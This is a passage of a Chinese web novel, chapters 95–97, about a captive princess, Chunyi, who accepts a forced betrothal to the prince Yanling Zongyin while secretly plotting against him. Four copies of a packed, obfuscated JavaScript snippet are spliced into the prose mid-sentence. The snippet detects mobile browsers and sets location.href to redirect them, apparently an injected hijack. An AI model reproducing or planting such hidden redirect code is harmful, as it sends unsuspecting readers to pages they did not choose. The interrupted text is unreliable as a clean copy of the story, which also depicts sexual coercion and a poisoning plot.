可再看看身形瘦弱的纯懿,延陵宗隐猛然醒悟,一边暗恼自己考虑不周,干脆利落道:“既然如此,那就休息一刻。” 二太子的庭议,什么时候有过休息?众人开始还有些不敢动,可看延陵宗隐眼睛已经瞪了出来,恶狠狠看着他们,颇有一副他们不出去他就亲自动手把他们踹出去的意思,急忙纷纷告退,压抑着内心喜悦退了出去。 屋里只剩下纯懿和延陵宗隐两人。纯懿从椅子上跳下来,在延陵宗隐的注视下,缓缓走到他身侧,拎起旁边的茶壶,却发现里面的茶水早已凉透,便干脆将旧茶都倒掉,亲自动手,开始煮新茶。 一边煮,一边有一搭没一搭的与延陵宗隐说话:“听你们刚刚提到七皇子?” 延陵宗隐看她弯着腰,是一个不太舒服的姿势,边将纯懿拉到身边,让她坐在自己腿上,轻易制住她的挣扎,漫不经心地卷着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604161|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的头发:“嗯,怎么了?” 纯懿挣扎了一会儿无果,便也随他去了:“我在太子府里时,七皇子待我很好。” 延陵宗隐颔首:“我知道。” 对上纯懿有些诧异的视线,延陵宗隐直接道:“他认为是我杀了他的太子哥哥,来寻我打过架。” “哦,”纯懿低头,继续去搅拌茶花,轻笑着开口,“那他输的惨吗?” 延陵宗隐一怔后大笑。他将纯懿揽入怀里,在她颊侧重重亲了一口:“有点。若不是知道他照顾过你,我留了手,他输的还会更惨一点。所以他向父王请旨,去蒙古边界带病去了,说要去磨练武艺,回来再找我寻仇。” 纯懿白他一眼,半是玩笑半是真心的:“那我祝他成功。” 惹来延陵宗隐又一阵大笑。 自这日后,纯懿也被迫繁忙了起来,她也要每日早起,跟着延陵宗隐去见他的那些臣僚。去得多了,她对延陵宗隐的书房就熟悉起来,行动间也越来越自如,到了后来,她甚至会在延陵宗隐议事到一半时自行出门去透气,然后带着一捧在前院摘的鲜花回去,不顾延陵宗隐铁青的脸色,将花儿们按着颜色样子搭配成一束一束的,插进延陵宗隐书房那些造型古朴的瓶瓶罐罐里。 延陵宗隐其实不太在乎这些东西,可却很想惹她生气,便故意板着一张脸,做出一副生气的样子:“你知道这瓶子多少钱?这可是几百年前的东西了。” 纯懿已经看穿了延陵宗隐的纸老虎本质,淡定点头,把最后一支花插进去:“哦,怪不得,配这腊梅这么好看。” 延陵宗隐瞪她,可打又不舍得打,骂也不值得骂,最后还是将她抓了过来,从她身上狠狠得了些好处才罢休。 这么一日日的下来,延陵宗隐书房里的花越来越多,他倒是也适应得很好,每次控制不住想发火的时候,看看这些开得绚烂的花儿,再看看坐在旁边人比花娇的美人,延陵宗隐沸腾的怒火总能奇异地消减一些。 算了。 他颇有些自欺欺人地安慰自己:眼看着她就如同这些鲜花一样一日一日鲜活起来,不再是如同一潭死水那般沉闷压抑,也算是有些回报。 延陵宗隐习惯性地侧头看向纯懿,果然,她也正在定定盯着他。两人目光对视,纯懿毫不闪躲,对着他露出一个温柔的笑容来。 延陵宗隐恍然未见般,冷着脸转回头,唇角却悄悄勾了起来,许久都压不下去。 纯懿一直盯着延陵宗隐的动作,就是在他转回头后也没有移开视线。见他提起一方私印,在公文上落下印记,纯懿心中暗暗道:左手第二格抽屉。 心中话音未落,果然,延陵宗隐探手拉开左手旁的第二个抽屉,将那方小印放了进去,然后合上抽屉,用钥匙锁住了门。 纯懿又在心中揣测道:腰间右侧的铜筒。 延陵宗隐将那把钥匙随手丢进了挂在右边的一个青铜简筒里。 纯懿唇边便也勾起一个笑容来。这么长时间以来,她一直在小心观察着延陵宗隐的一举一动,到了现在,也算摸清了一些他的习惯。再猜延陵宗隐的行动,倒是十次有六七次能猜准了。 纯懿很受鼓舞,看延陵宗隐暂时没什么动作可以让她观察了,便重新去听那些臣属说话。 那个叫木沐的正皱着眉头汇报:“……属下已经命人去查了,的确是蒙古国王子,他乔装而来,现在正在上京城内。” 95. 第 95 章 因着虞娄灭亡了大庆,掳掠了不少大庆工匠一起北迁,现在虞娄的手工艺品、冶炼品等制造技术都有了极大的提升,虽然若论精致程度,与南庆还是有着不小的差距,但对于蒙古等国等北方国家来说,前往南庆着实不便,虞娄的产品,在整个北境就是最好的。 蒙古国老祖宗要过寿,蒙古王子来虞娄采买贺礼,倒也不足为奇。 延陵宗隐沉吟一会儿:“蒙古王子既然乔装而来,说明他也不想惊动我们。派人盯着他,若是只是采买东西,不必插手,若是有什么异动,随时来报。” 那个叫木沐的小统领点头哈腰地退下,转身时,偷偷摸摸朝着纯懿投去一瞥。看到那张五官熟悉却更添气质清雅的脸,他急忙收回视线,心中不由暗叹:果真相貌相似,却也只是相貌相似而已。不是一个人,终究抓不住男人的心。 纯懿压根儿就没发现木沐统领的小心思,她的满腔思绪,完全沉浸在刚刚听到的这个消息上。 蒙古国王子现在人在上京。 之前做大庆帝姬时,她对政事完全不感兴趣,只隐约听说过什么联合什么背信的,具体的经过是全然不知。后来大庆灭亡,经过在虞娄和南庆的一番历练,她才弄清楚,开始时的大庆与虞娄其实并不接壤,两国中间还有一个强盛的燕国。 燕国兵强马壮,日益壮大,大庆与虞娄都对此忧心忡忡。面对共同的敌人,两国一拍即合,约定合作,双方共同出兵灭掉了燕国。燕国灭亡后,靠着劫掠瓜分燕国旧土,虞娄实力有了很大提升,野心也随着一起扩大。于是,没过十年,虞娄两次出兵围困汴京,大庆也步了燕国的后尘,坍塌在虞娄的铁蹄之下。 既然大庆可以与虞娄合作,一南一北联合灭掉燕国,那南庆是不是也可以与蒙古合作,一南一北灭掉虞娄? 不,不行,不能灭掉虞娄。燕国灭亡后,虞娄反攻大庆的教训还在眼前,若是虞娄灭国,蒙古转回头进攻南庆怎么办? 最好的结果,就是虞娄还在,却国力大减,再没有实力南下临安,而只作为屏障立于蒙古和南庆之间,隔绝两国的冲突和战争。 可要达到这个结果,甚至比干脆灭亡虞娄还要难…… 纯懿正想的出神,下颌忽然被人抬起,眼前一黑,一道高大的影子将她全身笼罩于其中,接着,灼烫的吻便落在她的额心、眉眼,然后顺着鼻子缠绵而下,最后落在她的唇上,流连辗转。 延陵宗隐的声音低沉喑哑,从两人交缠的唇齿间溢出:“想什么呢?这么入神。” 纯懿下意识就要推拒,可延陵宗隐只一只手,就轻松制住她两条细瘦的胳膊,上身欺压更甚,迫着她脊背后仰,一直贴到了椅背上,再也无法逃脱,彻底落入他的掌控中。 延陵宗隐乐得如此,不懈追了过来。 开始时,只是单纯的一个吻,可后来,唇齿越发失控。延陵宗隐本来自制力极好,可在纯懿面前,再好的自控力也尽数瓦解,他的心中像是有一头饥饿的野兽,在暴躁地刨着爪子,不断咆哮叫嚣着。 想要更多。想触碰她,想深入她,想要她的甜美,想要她的臣服。 他已经许久没有碰过她了,最多的时候,也只是缠着她索要一个深吻,而这也越来越不能满足他。眼下,不知是书房的环境还是久旷的渴求刺激了他,延陵宗隐愈发一发不可收拾。 他喉结剧烈滚动着,探身出去追逐的力道越来越大,一条腿干脆半跪上纯懿身侧的椅子,将她牢牢困在自己身下,一只手探入纯懿后脑,五指强势插入她的发间,指尖却轻柔摩挲抚弄着她的头发,越发投入和用力,连呼吸都粗重起来。 延陵宗隐的身体滚烫,理智已经近乎崩断,蛮劲儿一上来,不管不顾,当即就去扯纯懿的衣裳。 纯懿勉强从延陵宗隐紧追不舍的唇齿间逃脱,只能喘着气吐出一个“别……”,剩下的话又被尽数吞入他口中。她发了狠,朝着延陵宗隐肆虐的唇上狠狠咬下去,口中尝到明显的血腥味,延陵宗隐却恍然未觉,反而动作更加凶猛,大掌已经从她腰间抽出腰带,随手抛到一边。 纯懿挣扎着喊:“延陵宗隐!” 延陵宗隐终于停下了狂放的动作。他喘着粗气退开些许,眼底已经隐隐泛红,暗沉的眸子鹰隼一般盯着纯懿,从喉咙深处低哑出声:“嗯?” 纯懿与他对视,明明白白说出自己的意愿:“不。” 延陵宗隐黑眸眯起。他沉声道:“你是我的王妃。” “我不是。”纯懿脱口而出,看到延陵宗隐危险的神情,又补充,“至少现在还不是。” 延陵宗隐嗤笑一声,毫不在意:“马上就是了。” 一边说着,一边又低下头来吻她。 延陵宗隐已经几乎无法自控,纯懿却仍视线清明:“按照我们大庆风俗,婚前与人亲密,是要名声扫地,拉去浸猪笼的。” 延陵宗隐埋首在纯懿脖颈,深嗅着她身上清淡的香气,话就没过脑子脱口而出:“亲密?更亲密的事又不是没干过,你不是还哭着求我……” 感受到纯懿骤然僵硬的身体,延陵宗隐渐渐失声。 纯懿说不清自己是个什么感觉,默然片刻,才轻轻点头,微笑着道:“你说的对,不过是这些事而已。说起来我还得感谢你,汴京城破,北迁路上,洗衣院里,太子府上,若不是你,恐怕我得服侍不少人,说不定早就像其他姐妹那样,不知死在哪张床上,又怎么能只与你一人亲密呢?” 延陵宗隐已经明白自己说错了话,刚刚还沸腾着的血液顿时冰凉。他沉默着从纯懿身上半撑起来,薄唇紧抿,垂着眸子,仔细拢好刚刚被他亲手扯开的衣襟,将每一条褶皱都轻轻抚平,然后双臂搭在纯懿的肩上,深深呼吸。 终于下定决心,他才抬头,直视着纯懿的双眸,坦诚道:“对不起。” 纯懿别开视线,不愿开口。 延陵宗隐却没有如惯常那般,掐着她的脸强迫她转回头来,而是望着纯懿线条优美的侧脸,再次开口:“让我娶你,好吗?” 纯懿沉默。延陵宗隐的耐心却极好,并不开口催促,而是安静等待着。 似乎是真的想要得一个纯懿自己的回答。 良久之后,纯懿浓密的睫毛颤了颤。她仍没有回头,声音闷闷的:“你不能敷衍我。” 延陵宗隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617028|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她这几个字听得清清楚楚。他掀起眼皮,黑眸中闪着亮光,沉声允诺:“不会。” 纯懿沉默一会儿,再次开口:“我要一个盛大的婚仪。” 她转回头,与延陵宗隐目光相接,眸中隐带挑衅,补充道:“至少要公主的规制……不,长公主的规制,越盛大越好。我要正式册封,风光出嫁,虞娄、南庆、蒙古,还有临近的国家都得派人来参加,我要全天下都知道,你延陵宗隐娶的人是我。” 纯懿小脸上都是倨傲,似乎是以为自己提出了一个绝妙的刁难主意,可以让延陵宗隐知难而退:“你能做到吗?” 可在延陵宗隐看来,所有能提出的要求都不算刁难,最难的,只是得她的一句允诺而已。 哪怕只是刻意为难,哪怕只是想看他笑话,他都无所谓。 延陵宗隐侧头轻笑。笑完了,他敛去笑容,认真看向纯懿:“如果我能做到,你就嫁?” 纯懿下巴扬得高高的,似乎是打定了主意他不会答应:“对。” 延陵宗隐立刻接话,生怕慢了一秒,她就要反悔似的:“你可以开始准备了。” 纯懿提出这样的要求,一半是为了逼延陵宗隐放弃,另一半也是想着,她得给延陵宗隐找些事情做。 她自己其实很清楚,这般的过分要求,就是延陵宗隐本人同意,虞娄大王也不会允许的,他要忙这件事,只要能在别的地方稍微疏忽一些,她就能找到一点机会,去做一些别的事情。 比如,去联系陆双昂,再比如,去找一找那位蒙古王子。 延陵宗隐倒是没有限制她出府,也没有派许多人监视她,可纯懿心里明白,以延陵宗隐的性格手段,在她看不到的地方,一定有人在密切关注着她的一举一动。每一个行动,她都得小心再小心,绝不能被延陵宗隐发现蛛丝马迹。 纯懿一边随手作画,一边在心中默默计划着,要如何才能自然地给府外的小乞丐送一碗饭去,忽然,外面一阵嘈杂声传来,声音越来越大,在她院子外面吵闹不休,许久都不曾散开,甚至还有越来越乱的趋势。 纯懿被吵的实在没办法专心思考。她放下笔,净手之后缓步走出屋子,刚一出门,就被外面的热闹景象吓了一跳。 几十个兵士正在来往穿梭,一趟一趟地从外面抬东西进来,而她本不算小的院子,已经被各式各样的箱笼蒙布塞得满满当当。这些“不速之物”有的极高,有的看着就极重,有的还这边突出一根,那边凹下一块儿,不知道是个什么稀奇古怪的东西,还得塞里带着她院子里的侍女们左边喊右边挪,寻个合适的空地卸货。 纯懿一边在兵士们的吆喝声中侧着身子为他们让出一条通道,一边一脸懵地看着这热火朝天的运货场面,连想问句话都抓不到个闲人。 正在彷徨时,一双臂膀从身后而来,将她拥入一个炙热的怀抱。延陵宗隐用自己的身体裹住她,看看她被冻得有些泛红的鼻尖,有些不满:“出来怎么也不穿上大氅?” 纯懿指指忙忙乱乱一院子的人:“这是?” “正好我有事找你,”延陵宗隐拉将她的手握在手中,带着她回屋,“进去说。” 96. 第 96 章 纯懿看着延陵宗隐递到自己面前的一张熏香洒金的花笺,疑惑道:“这是什么?” 延陵宗隐递过来的手稳稳伸在纯懿面前,微一挑眉:“看看不就知道了?” 纯懿知道延陵宗隐的脾性,也就不与他争辩,从他手中将那花笺接过,展开来粗粗浏览一遍,先是惊讶非常,待看到最后,又是半晌无语。 这竟是一份议亲的草帖子。 延陵宗隐自己也就罢了,也不知道他是从哪里找到了她的谱系,上面将他们二人从曾祖开始,一直到父母的姓名籍贯、出生时辰都写得清清楚楚,甚至在最后面列嫁妆的地方,都已密密麻麻写了一长串,什么田产商铺、妆奁箱笼,通通都有,几乎占满了一整面纸,只有姓名那里还空着一大片地方,显得格外醒目。 延陵宗隐倒是坦然又坦荡,一双黑眸直直盯着纯懿,观察着她脸上的每一个表情,还不忘将笔塞进她手里,催促着:“快写。” 纯懿无语片刻,指着后面嫁妆部分那一大片墨字,非常实事求是的:“我没有这些东西。” 延陵宗隐不觉得这是个什么事:“我有。快写。” 纯懿知道他向来不在乎什么礼法议论,可还是被他这神来一笔给气笑了:“成婚的嫁妆,哪里有男方出的道理?” “不是我出。”延陵宗隐非常理直气壮,又将笔朝着纯懿手心里塞了塞,“这些东西我已经送到你院子里了,就是你的了。” 面对如此绝妙的解释,纯懿僵着脸,都不知该摆出副什么表情。 延陵宗隐却已耐心告罄,他眯起眼睛,冷飕飕的视线缠绕着纯懿,握着她的手加大了些力气,半是引导半是强带着笔尖悬在花笺空白处,压低了声音:“写。” 根本就没有给纯懿拒绝的余地。 纯懿只得在延陵宗隐灼灼的视线下,在纸面落上“纯懿”二字,刚收笔,甚至还没来得及再看一眼,花笺就被延陵宗隐抽走了。 他冷着脸看了一会儿,竟然将那花笺扔到一边,然后从怀里又取出一张来,摆在纯懿面前,沉声吩咐:“写徐露陌。” 他竟还准备了张备份的。 写都写了,也就不必在乎写些什么了。纯懿提笔落字,延陵宗隐紧盯着她写下“徐露陌”三字,将那花笺提起又审视了片刻,这次似乎终于满意了,当即就要卷起来带走。 可卷到一半,他又担心未干透的墨迹弄污了纸笺,慢下了动作,转而与纯懿说话。 “对了,现在你还没有告诉我,你的名字到底是什么意思?”延陵宗隐抬起眼皮,黑眸注视着纯懿,摆出一副洗耳恭听的姿势,显然是不得回答不肯罢休了。 她的名字,露陌…… 纯懿沉默一会儿,将父皇愉悦的大笑重新埋入心底,轻声道:“我出生在早晨,降生的那一刻,金芒绚烂,露水消没。父皇觉得‘没’字不好,避没为陌,所以给我取名露陌。” 延陵宗隐将“金芒绚烂,露水消没,避没为陌”几句在口中来回滚动几次,伸出大掌揉揉纯懿发顶,赞叹:“改得好。” 换回纯懿一个娇俏的白眼。 两人这么说了一会儿话,墨迹也干得差不多了。延陵宗隐似乎是还有什么急事,也不多待,卷起那泛着幽香的花笺放入怀中,大掌在纯懿后脑轻轻一压,当做告别,转身大步朝外走去,玄黑的袍角飞扬,很快消失不见。 可让纯懿没想到的是,这竟然只是延陵宗隐一系列出格举动的开始,甚至与他后面干出的事相比,提前把她的嫁妆送给她这般,已经算不得什么大事了。 嘉荣以袖掩唇,笑得眉眼弯弯:“……你是不知道大王气成什么样,当场暴怒,砸了不少东西,直问他是不是失了神智,甚至都提了刀追着要砍他。可二太子是什么人,从来不怵他父王,现在就连做做样子也懈怠了,两招就把大王的刀挑飞出去,就差直接把刀架在大王脖子上逼他就范了。” 看看目瞪口呆的纯懿,嘉荣微微摇头,无奈道:“我看啊,要不是还得让大王来做男方长辈,依着延陵宗隐的性子,他都能下狠手打晕了大王自己去盖玺了。” 想到当时父子两对峙的兵荒马乱的场景,嘉荣还是想笑:“大王说,他才不会搞这些庆人东西,延陵宗隐就梗着脖子回,说他已经全弄好了,大王只负责交换就行。” 一边说着,她一边将一个嵌满了宝石的金匣推到纯懿面前,示意道:“喏,看看吧,也真是为难他,不知道从哪里打听到的这些大庆婚仪,又是请谁帮忙写出的帖子。” 纯懿看着那个匣子,默然无语片刻,最后还是没忍住:“不是,那大王就真听了他的话?” “那怎么办?”嘉荣指尖在金匣上轻点两下,“他把男方的草帖定帖塞给大王,又把女方的草帖定帖给了我,只说了一句‘开始吧’,然后就后退一步,瞪着眼睛等着我们俩交换。我们还能怎么办,只能换了啊。” 纯懿扶额,只觉彻底被延陵宗隐打败。她带着些破罐子破摔的心态,伸手打开那个匣子,里面放了被红线缠绕的一纸一帛两个卷筒。 纸书是草帖子,与之前他拿来让纯懿写名的那份一样,熏香洒金的花笺,厚厚一沓子,把延陵宗隐的房屋田产铺子部曲全都列于其上,甚至连具体位置、人员名册都标的一清二楚,最上面是延陵宗隐亲手签下的名字,笔走龙蛇,潇洒恣意,锋利一如他本人。 帛书则是正式的定帖了,丝绢柔软,精致好看,上面的文字也是一派锦绣,瑞意纷呈:亲家徐氏,许以第一十二院小娘露陌与二郎宗隐议亲,言念蠲豆笾之荐,聿修宗事之严,躬井臼之劳,尚赖素风之旧。既令龟而叶吉,将奠雁以告虔。敬致微诚,愿闻嘉命。伏惟台慈,特赐鉴察。 就是再看一次,嘉荣还是不由感叹:“要不是还得说你会调教,当年在汴京时,陆小公子与你青梅竹马,他对你那深情不移、奉若掌珠都是出了名的,现在就连不羁的狼王延陵宗隐都能被你套上枷锁,对你俯首称臣。纯懿,你可得想好,他现在这样,待你着实算不错,你还要继续吗?” 嘉荣并没直说要继续什么,两人却都心知肚明。 俯首称臣? 他将她所有的美好全部打破,将她拥有的一切全部夺走,然后不再肆意强迫她,却也不管她是否想要,只一昧给予,这般的俯首称臣吗? 纯懿太眸看向身穿华衣、头戴宝钗的嘉荣,轻笑着反问:“那嘉荣姐姐你呢?你现在是正经王妃,大王待你还算长情,还有亲儿绕膝,你还要继续吗?” 嘉荣脸上柔和的笑容一僵,渐渐消失无踪。不知道是想到了什么,她的鼻头泛红,泪盈于睫,用衣袖轻压两下,这才掩去了粼粼的泪光,重新露出一个笑脸来。 她的笑容温温柔柔,声音里却带着寒霜,话头一转:“那日延陵宗隐走后,大王气得厉害,急火攻心,服了好多安心凝神的汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628329|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,才好了一点。” 纯懿不知道嘉荣怎么突然又说起延陵宗隐父子俩的矛盾,却也没打断她,安安静静听着。 嘉荣看着纯懿,低声道:“所以正好,我加重了些药量。只剩最后一次……再加重一次,一切就都结束了,一切又会重新开始。” 嘉荣说的含糊,纯懿先是有些疑惑侧头,待想明白她话中隐含的意思,眼眸顿时瞪大,脱口而出:“你……” 嘉荣轻轻点头,眼神是纯懿从来没有见过的坚定:“就像我之前与你说过的,我不会回头,也回不了头了。” 屋内一片沉默。纯懿将手搭在嘉荣冰凉的手上,嘉荣轻轻反握,回应她无声的支持,也给她无声的支持。 两只同样纤细瘦弱的手交握一会儿,才又安静分开,纯懿先打破了沉默:“走吧。” 她对着嘉荣笑道:“今天是个好日子,我送你出门,然后再分发些喜钱喜果的,也让大家一起沾沾喜气。” 现在在延陵宗隐府上,纯懿俨然就是女主人,她吩咐下去的事情,很快就有人办的妥妥帖帖。纯懿和嘉荣两人才刚走到门口,管家已经带着一排侍女等在那里,各个手里都捧着一个衬着红色丝绢的托盘,里面摆着铜钱碎银、果干小点,种类丰富,琳琅满目。 纯懿视线扫一圈,很满意地点头,淡声吩咐道:“去门外分发吧。不要小气,见者有份。” 有延陵宗隐撑着,府里自然不在乎这些小玩意儿,何况若是能换纯懿开心,不管花多少钱,自家郎主都绝不会怪罪,只会嫌弃他们抠抠搜搜。 管家应了一声,一挥手,侍女们纷纷出门,很是豪爽的分发起钱币吃食来。 不少富裕一些的人家并不在乎能拿到些什么,好不容易找到一个亲近二太子府的机会,都是争先恐后挤上前来。一些贫寒百姓开始还有些畏畏缩缩,可府里众人并不在意来人的身份,只要说上一句“恭喜”,就能得上几个铜钱,若是再说上几句吉祥话,还能再得到些从没见过的稀罕吃食。很快,延陵宗隐府前就围了不少人,大家熙熙攘攘,不分高低拥挤在一起,倒是的确热闹的紧。 纯懿送走了嘉荣,站在门口含笑看着这样的场景,忽然,一个高大的身影出现在她旁边,一只胳膊揽上她的肩膀,让她别无选择,只能紧紧挨着他。 延陵宗隐看看自家门口这幅从没有过的喧闹景象,微一挑眉:“这是做什么?” “你不是去打听了大庆的婚俗吗?分些喜钱喜果,也让大家都沾沾喜气。”纯懿柔顺靠在延陵宗隐肩上,微笑,“看,大家都多开心啊。” 延陵宗隐视线简单逡巡一圈,然后就再未去看那些拥挤的人潮,一双黑眸只是牢牢盯着身边的纯懿,看她唇边含笑,就算那笑容并不算灿烂,也足以让他跟着一起感受到愉悦。 他低低应:“嗯。” 纯懿却忽然皱了眉头:“那些乞丐……” 她看着一直缩在街角屋檐下,现在也挤过来领钱和吃食的乞丐,满脸都是怜悯,转头看向延陵宗隐,语气柔软:“上京冬寒,再给他们一碗饭吧。” 延陵宗隐只觉她含笑的样子好看,现在满脸担忧的样子,更加好看。不管是在汴京还是在上京,不管面对的是大庆人还是虞娄人,她一直都是这么善良,有着与他截然不同的一副柔软心肠。 延陵宗隐视线黏在纯懿身上,毫不在意地挥手:“去,给他们送些饭去。” 97. 第 97 章 不知是因着少见的善意给予,还是单纯只是为着定帖的事开心,延陵宗隐心情不错,甚至连身上冷冽的寒意都减弱了许多,还少见地有闲工夫浪费时间,揽着纯懿看着外面热闹熙攘的人群。 纯懿却自从给那些衣衫褴褛的乞丐们分发完饭食之后,就有些神志飘忽的,就连唇边的笑容都浅淡了几分,视线既像是落在人群中,又像是穿过人群,在看着遥远的地方。 延陵宗隐一直注意着纯懿的表情,自然敏锐发现了她的变化。他将她搂得更紧了一些,低下身子,凑近她耳侧,沉声道:“累了?” “还好,”纯懿像是被突然惊醒一般,笑着摇摇头,诚实道,“我就是有些恍惚,从来没想过竟然还会与你有这么一天。” 延陵宗隐听不得纯懿这般退避闪躲的想法,脸色顿时就不好看了。他下颌紧绷着,加重了些语气提醒她:“你亲口答应嫁给我的,你还在定帖上写名字了。” “答应你是想要为难你,写名字是被你逼的。”纯懿也学着延陵宗隐的样子,半笑半讽看着他,“你那么敏锐,不要说你不知道。” 延陵宗隐自然知道,正是因为知道,所以才更不乐意听她这么摊开来说。 他沉下脸,黑眸深暗盯着纯懿,颊边肌肉紧缩,显然正在暗暗咬牙。 纯懿面容平静,一边观察着延陵宗隐的神情,一边小心把握着坦率的程度。她若是表现得对婚仪非常期待,延陵宗隐一定会起疑,可若是她太过于冷漠,延陵宗隐又一定会生气。 过犹不及的道理,她是懂得的。若是作的太厉害,真的踩了延陵宗隐的底线,他干脆将她关起来,那她什么事都做不成了。 纯懿又等了一会儿,看出延陵宗隐呼吸不稳,连喉结也开始上下滑动,觉得时机差不多了,这才露出了个带些无奈的笑容,似乎是察觉到他心气不顺,主动递上了台阶服软:“我明日可以出门一趟吗?” 对上延陵宗隐的视线,她解释道:“你不是依的大庆婚仪吗?交换定帖也就算了,下一步的定礼,我总要准备一下的,不能全由你来出吧?” 延陵宗隐眼眸微眯,深深注视着纯懿。沉默着打量她一会儿,延陵宗隐才似笑非笑地开口:“你竟然还愿意主动出门去准备定礼?我还以为,这婚事你是被迫同意的,恨不得婚礼这日永远都不要到来才好。” 听他这般说,纯懿脸上的神情便恰到好处地暗淡了一些,移开视线望着府外人潮,轻轻笑了,无所谓地道:“既然你不愿意,那便算了,日后你不要翻旧账,嫌我什么都不管就成。” 说完了,她似乎是终于卸下了个大包袱,转身就要回府去。 却被延陵宗隐一把拉住手腕,拽了回来。 他双眸漆黑,看不清眼底的神情,视线在纯懿身上缠绕许久,才微一颔首:“去吧。” 纯懿点头,还是那副不甚在意的模样,转身踏过门槛,朝着自己的小院而去。延陵宗隐仍旧站在门口,看着她袅娜的背影转过长廊,消失在树木花丛之中,脸色骤然阴沉下来,眸光锐利如鹰,唇边就噙上了一抹讽笑。 然后,他冷嗤一声,转过身面对黑塔时,已是脸色阴鸷,杀意弥漫。 黑塔看看显然愤怒至极的延陵宗隐,实在是没明白他怎么就生气了,挠挠头,搜刮着脑子想安慰自家郎主几句:“帝姬开始时态度不好,想来的确是有点突然,这不,后面想明白了,她态度就好了嘛,还要主动去准备东西呢。” 想明白了? 延陵宗隐在心底冷笑:不,开始时才是她的真实态度。她并不期待婚仪,后面忽然转变态度,还提出要亲自去采买东西,一定是又在打什么主意。 他看着门前依然熙熙攘攘的人群,忽然开口:“上次让你打听的事怎么样了?陆双昂现在人在哪里?” 黑塔对这件事相当上心,立刻严肃了神情:“他人在南庆,但是应该是对死在临安的那女人还有疑心,与贤宁帝姬一起去建康寻裴明心去了。” 陆双昂会怀疑那女人的身份,延陵宗隐一点儿都不奇怪。虽然那女人本身与纯懿长得已经很像,他还又另外寻人按着纯懿的样貌,重新调整了她的五官,可赝品就是赝品,若是换了他自己,也绝不会被一个死人欺骗。 “盯紧了他。”延陵宗隐咬牙,语气极沉极重。 然后,他又补充:“也给我盯紧了她。” 纯懿丝毫不知道延陵宗隐已对她起了疑心。既然已经得了他的允许,第二日,她便收拾齐整出了门,甚至还主动带上了塞里,以表坦然。 她在街上漫无目的的闲逛,几乎每个铺子都要进去转一圈,看到好玩的好吃的,也绝不手软,统统大方买下,没一会儿,跟在她后面的侍从们怀里都抱满了东西,就连塞里手上都提上了两三个包裹,很是有些狼狈。 有着走着,一行人走到了上京最出名的点心铺子外。 虞娄的点心重油重糖,其实并不是很合纯懿的口味,她在门口处迟疑了一会儿,还是带着塞里他们走进了点心铺子,一样一样仔细看过去。 纯懿这一行人衣着精致华贵,又买了那么多东西,一看就知道是大主顾。刚一站定,就有一个机灵的小伙计飞奔过来,先是打了个千,然后抬头,眼眸亮晶晶看向纯懿:“这位贵人,选点儿什么?” 对上小伙计雀跃的眸子,纯懿瞳仁下意识紧缩,飞快瞟了塞里一眼。看出塞里正准备上前来,将这个离她太近的小伙计推到一边去,纯懿便抢先一步,用自己的身体横挡在塞里与那小伙计之间,率先开口:“你家招牌,劳驾推荐一下吧。” 那小伙计应了一声,麻利地带着他们走到一款糕点旁边,详细介绍着做法和典故,甚至还摸出一把小银刀,从糕点上切了一角下来,殷勤捧到纯懿面前:“贵人您尝尝,不好吃不要钱。” 刚一凑近鼻子,浓郁的麻油味道就直冲纯懿鼻腔。她实在是不喜欢这种味道,觉得很是反胃,下意识轻呕一声,然后用右手抚着胸口,勉力忍耐了一会儿,又轻呕一声。 终于还是忍不住,纯懿皱着眉头,推开小伙计的手:“恭房在哪里?” 小伙计显然意识到自己冲撞了贵人,有些战战兢兢的指了方向,一溜烟跑走了。 纯懿循着指示走到恭房门口,停下步子,转身对着想要跟进去的塞里吩咐道:“你拿着吃的,就别进去了。” 然后不待塞里答话,就自己推开门走了进去。 不愧是上京最出名的点心铺子,恭房也布置得很是整洁,甚至还有一套桌椅,供客人方便之后更衣使用。纯懿并没有进里间,而是随意选了一把椅子上坐下,耐心等待着。 果然,没一会儿,屏风被人推开,一个人影出现在那里,却正是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650985|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才那个溜之大吉的小伙计。 看到这人,纯懿脸上就露出了真切的笑容来。她站起身,迎着那人而去:“贤宁。” 